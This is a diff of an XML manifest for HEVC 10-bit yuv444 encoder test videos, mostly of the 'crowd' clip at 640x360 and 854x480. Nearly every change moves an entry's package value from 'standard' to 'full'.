+    <value>mime=video/hevc,size=180044,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2233968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=109098,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1347144,package=standard</value>
+    <value>mime=video/hevc,size=109098,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1347144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=108906,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1344744,package=standard</value>
+    <value>mime=video/hevc,size=108906,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1344744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=110250,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361544,package=standard</value>
+    <value>mime=video/hevc,size=110250,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1361544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=120278,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1486848,package=standard</value>
+    <value>mime=video/hevc,size=120278,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1486848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=108403,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338456,package=standard</value>
+    <value>mime=video/hevc,size=108403,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_lossless.mp4">
     <value>mime=video/hevc,size=14612313,width=640,height=360,frame-rate=50,profile=,level=,bitrate=182637336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=108404,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338472,package=standard</value>
+    <value>mime=video/hevc,size=108404,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=108426,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338744,package=standard</value>
+    <value>mime=video/hevc,size=108426,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108390,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=109387,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350768,package=standard</value>
+    <value>mime=video/hevc,size=109387,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1350768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=103171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1273072,package=standard</value>
+    <value>mime=video/hevc,size=103171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1273072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=110190,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1360808,package=standard</value>
+    <value>mime=video/hevc,size=110190,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1360808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_medium.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=110377,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363136,package=standard</value>
+    <value>mime=video/hevc,size=110377,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1363136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=107972,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1333072,package=standard</value>
+    <value>mime=video/hevc,size=107972,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1333072,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=107961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1332936,package=standard</value>
+    <value>mime=video/hevc,size=107961,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1332936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=107808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1331024,package=standard</value>
+    <value>mime=video/hevc,size=107808,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1331024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=117766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1455480,package=standard</value>
+    <value>mime=video/hevc,size=117766,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1455480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=132036,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1633856,package=standard</value>
+    <value>mime=video/hevc,size=132036,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1633856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=109257,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349136,package=standard</value>
+    <value>mime=video/hevc,size=109257,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=115864,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431696,package=standard</value>
+    <value>mime=video/hevc,size=115864,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=197324,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2449984,package=standard</value>
+    <value>mime=video/hevc,size=197324,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2449984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp0.mp4">
     <value>mime=video/hevc,size=7647647,width=640,height=360,frame-rate=50,profile=,level=,bitrate=95579008,package=full</value>
@@ -21711,154 +21711,154 @@
     <value>mime=video/hevc,size=5640365,width=640,height=360,frame-rate=50,profile=,level=,bitrate=70487984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=9397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100880,package=standard</value>
+    <value>mime=video/hevc,size=9397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=100880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=8559,width=640,height=360,frame-rate=50,profile=,level=,bitrate=90408,package=standard</value>
+    <value>mime=video/hevc,size=8559,width=640,height=360,frame-rate=50,profile=,level=,bitrate=90408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=8092,width=640,height=360,frame-rate=50,profile=,level=,bitrate=84568,package=standard</value>
+    <value>mime=video/hevc,size=8092,width=640,height=360,frame-rate=50,profile=,level=,bitrate=84568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108391,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=109057,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346632,package=standard</value>
+    <value>mime=video/hevc,size=109057,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slower.mp4">
-    <value>mime=video/hevc,size=112235,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1386344,package=standard</value>
+    <value>mime=video/hevc,size=112235,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1386344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slow.mp4">
-    <value>mime=video/hevc,size=109663,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1354208,package=standard</value>
+    <value>mime=video/hevc,size=109663,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1354208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=146235,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1811360,package=standard</value>
+    <value>mime=video/hevc,size=146235,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1811360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=108369,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338032,package=standard</value>
+    <value>mime=video/hevc,size=108369,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=174368,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2163032,package=standard</value>
+    <value>mime=video/hevc,size=174368,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2163032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=108880,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1344424,package=standard</value>
+    <value>mime=video/hevc,size=108880,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1344424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=175797,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2180896,package=standard</value>
+    <value>mime=video/hevc,size=175797,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2180896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=108743,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342696,package=standard</value>
+    <value>mime=video/hevc,size=108743,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=108709,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342272,package=standard</value>
+    <value>mime=video/hevc,size=108709,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=108730,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342536,package=standard</value>
+    <value>mime=video/hevc,size=108730,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1342536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=108778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343136,package=standard</value>
+    <value>mime=video/hevc,size=108778,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1343136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=108398,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=standard</value>
+    <value>mime=video/hevc,size=108398,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=109080,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346920,package=standard</value>
+    <value>mime=video/hevc,size=109080,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=111293,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1374584,package=standard</value>
+    <value>mime=video/hevc,size=111293,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1374584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=110338,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362648,package=standard</value>
+    <value>mime=video/hevc,size=110338,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1362648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=109306,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349744,package=standard</value>
+    <value>mime=video/hevc,size=109306,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1349744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=109105,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1347232,package=standard</value>
+    <value>mime=video/hevc,size=109105,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1347232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=163681,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2029424,package=standard</value>
+    <value>mime=video/hevc,size=163681,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2029424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=90745,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1118336,package=standard</value>
+    <value>mime=video/hevc,size=90745,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1118336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=111689,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1379520,package=standard</value>
+    <value>mime=video/hevc,size=111689,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1379520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108397,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=109020,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346168,package=standard</value>
+    <value>mime=video/hevc,size=109020,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=standard</value>
+    <value>mime=video/hevc,size=108394,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1338344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=109025,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346232,package=standard</value>
+    <value>mime=video/hevc,size=109025,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1346232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=108273,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1336832,package=standard</value>
+    <value>mime=video/hevc,size=108273,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1336832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=131105,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1626096,package=standard</value>
+    <value>mime=video/hevc,size=131105,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1626096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=802614,width=854,height=480,frame-rate=50,profile=,level=,bitrate=10016096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=77244,width=854,height=480,frame-rate=50,profile=,level=,bitrate=948968,package=standard</value>
+    <value>mime=video/hevc,size=77244,width=854,height=480,frame-rate=50,profile=,level=,bitrate=948968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1624460,width=854,height=480,frame-rate=50,profile=,level=,bitrate=20289168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=343470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4276800,package=standard</value>
+    <value>mime=video/hevc,size=343470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4276800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=338273,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4211832,package=standard</value>
+    <value>mime=video/hevc,size=338273,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4211832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=182579,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2265656,package=standard</value>
+    <value>mime=video/hevc,size=182579,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2265656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=181231,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248808,package=standard</value>
+    <value>mime=video/hevc,size=181231,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2248808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=183905,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2282232,package=standard</value>
+    <value>mime=video/hevc,size=183905,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2282232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=46446,width=854,height=480,frame-rate=50,profile=,level=,bitrate=564000,package=standard</value>
+    <value>mime=video/hevc,size=46446,width=854,height=480,frame-rate=50,profile=,level=,bitrate=564000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=394795,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4918360,package=full</value>
@@ -21870,154 +21870,154 @@
     <value>mime=video/hevc,size=494822,width=854,height=480,frame-rate=50,profile=,level=,bitrate=6171800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=standard</value>
+    <value>mime=video/hevc,size=179275,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_aud.mp4">
-    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=standard</value>
+    <value>mime=video/hevc,size=179272,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2224320,package=full</value>
   </entry>
